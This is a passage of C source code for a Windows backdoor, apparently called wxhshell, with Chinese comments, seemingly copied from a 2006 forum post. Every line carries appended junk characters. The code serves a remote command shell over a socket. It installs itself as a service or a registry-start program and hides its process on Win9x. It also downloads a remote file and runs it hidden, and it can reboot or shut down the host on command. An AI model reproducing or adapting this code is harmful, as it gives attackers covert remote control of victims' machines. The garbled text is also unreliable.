    switch(cmd[0]) { yUqvF6+26  
  DTsc&.29^  
  // 帮助 ;"wU+  
  case '?': { p~$\@8@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '&'? S  
    break; ;F"W6G  
  } 'P39^rb  
  // 安装 tbl!{Qwx  
  case 'i': { 6t<~. 2'  
    if(Install()) Ilsh Jo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,bKA]#(2  
    else :$j!e#?=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hQ#'_%:  
    break; k-Le)8+b  
    } ) yRC$7I  
  // 卸载 t-3wjS1v  
  case 'r': { ?9 m3y0  
    if(Uninstall()) Y+F$]!hw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >5i1M^g(  
    else P2!@^%o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HkGzyDt  
    break; g=:%j5?.e  
    } jrvhTej  
  // 显示 wxhshell 所在路径 av&dGsFP  
  case 'p': { !nU  
    char svExeFile[MAX_PATH]; `3*>tq  
    strcpy(svExeFile,"\n\r"); w1h07_u;v  
      strcat(svExeFile,ExeFile); *Iyv${  
        send(wsh,svExeFile,strlen(svExeFile),0); Oh5(8.<y  
    break; =3}@\f#  
    } {y)s85:t  
  // 重启 v$owG-_><  
  case 'b': { :DR G=-M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rX{QgyY&  
    if(Boot(REBOOT)) WB"$NYB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tlA4oVII  
    else { sbQmPV  
    closesocket(wsh); RT F9;]Ti  
    ExitThread(0); vWXj6}  
    } sO~N2  
    break; 1W "9u   
    } gPd:>$  
  // 关机 jgVra*   
  case 'd': { AuX&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tQF7{F-}  
    if(Boot(SHUTDOWN)) f)vD2_E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jCtl ]  
    else { r9yUye}  
    closesocket(wsh); <xOpm8  
    ExitThread(0); 8L|rj4z<#  
    } 7'xT)~*$4  
    break; 7"Zr:|$U  
    } OHR9u  
  // 获取shell V89!C?.[]1  
  case 's': { 7Q/v#_e(  
    CmdShell(wsh); ZL+{?1&-  
    closesocket(wsh); Wu2#r\  
    ExitThread(0); T=A7f6`  
    break; LrsP4G  
  } 1x V~EX  
  // 退出 nv2Y6e}dG  
  case 'x': { mO?G[?*\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wGBQ.Ve[  
    CloseIt(wsh); '.#KkvE##  
    break;  i('z~  
    } }^pnwo9vV  
  // 离开 _( 0!bUs>  
  case 'q': { |U8;25Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  bXQ(6P  
    closesocket(wsh); {MO`0n; rt  
    WSACleanup(); >hRYsWbmg  
    exit(1); FwBktuS  
    break; 'B8fc-n  
        } +)qPUKb?  
  } ad&Mk^p  
  } oB&s2~  
XaR(q2s  
  // 提示信息 S2*-UluG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H*A)U'`  
} ) Z0  
  } XqyfeY5t  
VCX})sp  
  return; E"x 2jP  
} ;TEZD70r  
YEXJ h!X  
// shell模块句柄 aCMF[ 3j  
int CmdShell(SOCKET sock) c_kxjzA#  
{ Yn'XSV|g  
STARTUPINFO si; n 'ZlIh  
ZeroMemory(&si,sizeof(si)); c5mv4 MC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &pZ]F=.r+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >M[rOu (d  
PROCESS_INFORMATION ProcessInfo; U@BVVH?,o  
char cmdline[]="cmd"; <*3wnpj_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '355Pce/  
  return 0; _0oZgt)  
} Ud*.[GRD~  
>Cb% `pe  
// 自身启动模式 $_S^Aw?  
int StartFromService(void) 4Q z  
{ ~*LH[l>K  
typedef struct R 7xV{o  
{ f]J?-ks  
  DWORD ExitStatus; 5u~Ik c~  
  DWORD PebBaseAddress; kFw3'OZ,  
  DWORD AffinityMask; {1#5\t>9yD  
  DWORD BasePriority; 9cQKXh:R.  
  ULONG UniqueProcessId; <Zl0$~B:5  
  ULONG InheritedFromUniqueProcessId; ]\+bx=  
}   PROCESS_BASIC_INFORMATION; Gvtd )9^<  
&.K8c phj  
PROCNTQSIP NtQueryInformationProcess; jO3Q@N0_  
8ftLYMX@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rQ30)5^V|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :* /<eT_  
b3#c0GL  
  HANDLE             hProcess; :>F:G%(DK  
  PROCESS_BASIC_INFORMATION pbi; 85w D<bN27  
|uj1T=ZY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DS=kSkW^&5  
  if(NULL == hInst ) return 0; F2z^7n.S  
Mff_j0D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E@0w t^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E{wVf_K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U1 1rj,7  
U%t:]6d&}  
  if (!NtQueryInformationProcess) return 0; OAOG&6xu8  
/UN%P2>^1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *yiJw\DRN  
  if(!hProcess) return 0; FT[wa-b  
U5dJ=G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6Ck?O/^  
 T~ /Bf  
  CloseHandle(hProcess); j<8_SD=,  
u vc0"g1h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C/<fR:`c  
if(hProcess==NULL) return 0; v srce  
;s9!ra:3  
HMODULE hMod; `vL R;D  
char procName[255]; #y-OkGS ^  
unsigned long cbNeeded; bsP:tFw>  
0=t_ a]+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AH`tkPd  
I"Ju3o?u  
  CloseHandle(hProcess); uLe+1`Y5Ux  
dbB2/RI  
if(strstr(procName,"services")) return 1; // 以服务启动 *>$'aQ  
sFC1PdSk4T  
  return 0; // 注册表启动 A>R ^iu  
} 43,- t_jV  
nITr5$f  
// 主模块 riFE.;  
int StartWxhshell(LPSTR lpCmdLine) _~HGMC)  
{ `z Z=#p/  
  SOCKET wsl; e%wbUr]c2  
BOOL val=TRUE; [EB2o.E sO  
  int port=0; B?#@<2*=L  
  struct sockaddr_in door; v@Otp  
&X}9D)\UJ  
  if(wscfg.ws_autoins) Install(); Wq&TbWR  
3j]La  
port=atoi(lpCmdLine); 0EPF; Xx  
\n`UkxZn+  
if(port<=0) port=wscfg.ws_port; 0:v7X)St  
`S;pn+5  
  WSADATA data; Fe"0Hp+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |+suGqo  
 by>,h4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G5TdAW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nf<([8v;t  
  door.sin_family = AF_INET; q^(A6W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lJ}G"RTm  
  door.sin_port = htons(port); sBwkHsDD  
<ywxz1i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TD!QqLW  
closesocket(wsl); FRs5 Pb1  
return 1; d<`Z{"g NS  
} {3_M&$jN  
@zsr.d6Q  
  if(listen(wsl,2) == INVALID_SOCKET) { #/\FB'zC  
closesocket(wsl); Q1buuF#CU&  
return 1; B7?784{x,  
} V9B $_j4  
  Wxhshell(wsl); 0ZkA .p  
  WSACleanup(); khjW9Aa8t  
T(J&v|FK  
return 0; eHPGzN Xb  
lq.AQ  
} #V4_.t#  
&&_W,id`  
// 以NT服务方式启动 =qI JXV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zVl(?b&CF  
{ u^!-Z)W  
DWORD   status = 0; y])xP%q2 O  
  DWORD   specificError = 0xfffffff; k3S**&i!CR  
pg4M$;ED  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FjkE^o>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >"zSW?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1ub03$pL;  
  serviceStatus.dwWin32ExitCode     = 0; pBK[j ([  
  serviceStatus.dwServiceSpecificExitCode = 0; > { fX;l  
  serviceStatus.dwCheckPoint       = 0; mR8&9]g&  
  serviceStatus.dwWaitHint       = 0; # ?}WQP!  
3o"~_l$z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2MtaOG2l&q  
  if (hServiceStatusHandle==0) return; 5x=tOR/h  
&S''fxGL  
status = GetLastError(); Nm#KHA='Z  
  if (status!=NO_ERROR) ~y B[}BPf  
{ pZjyzH{~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,((5|MbM/  
    serviceStatus.dwCheckPoint       = 0; SJy:5e?zk  
    serviceStatus.dwWaitHint       = 0; UL"Jwq D  
    serviceStatus.dwWin32ExitCode     = status; -2% [ ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; KZ/}Iy>As  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zzq/%jki  
    return; ?w3f;v  
  } `(*5yXC  
olK%TM[Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .hETqE`E  
  serviceStatus.dwCheckPoint       = 0; b*?="%eE(  
  serviceStatus.dwWaitHint       = 0; sNS! /  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {U-VInu  
} c @2s!bs  
l$zo3[  
// 处理NT服务事件,比如:启动、停止 LR-op?W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 33"{"2==`  
{ ;rd!kFd#bq  
switch(fdwControl) x<9|t(  
{ )Cu"M #`  
case SERVICE_CONTROL_STOP: { #>@h7  
  serviceStatus.dwWin32ExitCode = 0; lt}|Y9h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G ^r^" j  
  serviceStatus.dwCheckPoint   = 0; Z{u*vUC&  
  serviceStatus.dwWaitHint     = 0; VpTp*[8O  
  { ]J_Dn\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2E=E!Zwt_  
  } ffuV$#  
  return; lEQn2+  
case SERVICE_CONTROL_PAUSE: @}aK\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t=A| K    
  break; W c-P= J*m  
case SERVICE_CONTROL_CONTINUE: mP3:Fc _G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q:=s99  
  break; l3l[jDa,2  
case SERVICE_CONTROL_INTERROGATE: [dOPOA/d  
  break; F4">go  
}; V `@@ufU}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_p.KF'[?  
} d~GT w:  
nCXIWLw  
// 标准应用程序主函数 9dy"Y~c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |l7e*$j  
{ )h>Cp,|{  
[x-Z)Q. 5  
// 获取操作系统版本 i"sVk8+o!  
OsIsNt=GetOsVer(); C.pNDpx-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <J?i+b  
G8akMd]2  
  // 从命令行安装 $\m=-5 0-  
  if(strpbrk(lpCmdLine,"iI")) Install(); y~p7&^FeR  
F}i rCi47c  
  // 下载执行文件 Hsx`P  
if(wscfg.ws_downexe) { Z*s/%4On  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _3hCu/BV  
  WinExec(wscfg.ws_filenam,SW_HIDE); kTs)u\r.  
} iK=H9j  
.:_dS=ut  
if(!OsIsNt) { F;`of  
// 如果时win9x,隐藏进程并且设置为注册表启动 qXP)R/~OZ  
HideProc(); UmInAH4  
StartWxhshell(lpCmdLine); R1J"QU  
} 0&-!v?6 )  
else e J2[=L'  
  if(StartFromService()) SQa.xLU  
  // 以服务方式启动 `I_%`15>  
  StartServiceCtrlDispatcher(DispatchTable); ~>s^/`|?  
else < ~x5{p  
  // 普通方式启动 FW[<;$  
  StartWxhshell(lpCmdLine); 'fawpU|h  
l|j&w[c[Q0  
return 0; D zl#[|q  
}
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只看该作者 1 发表于: 2006-10-10
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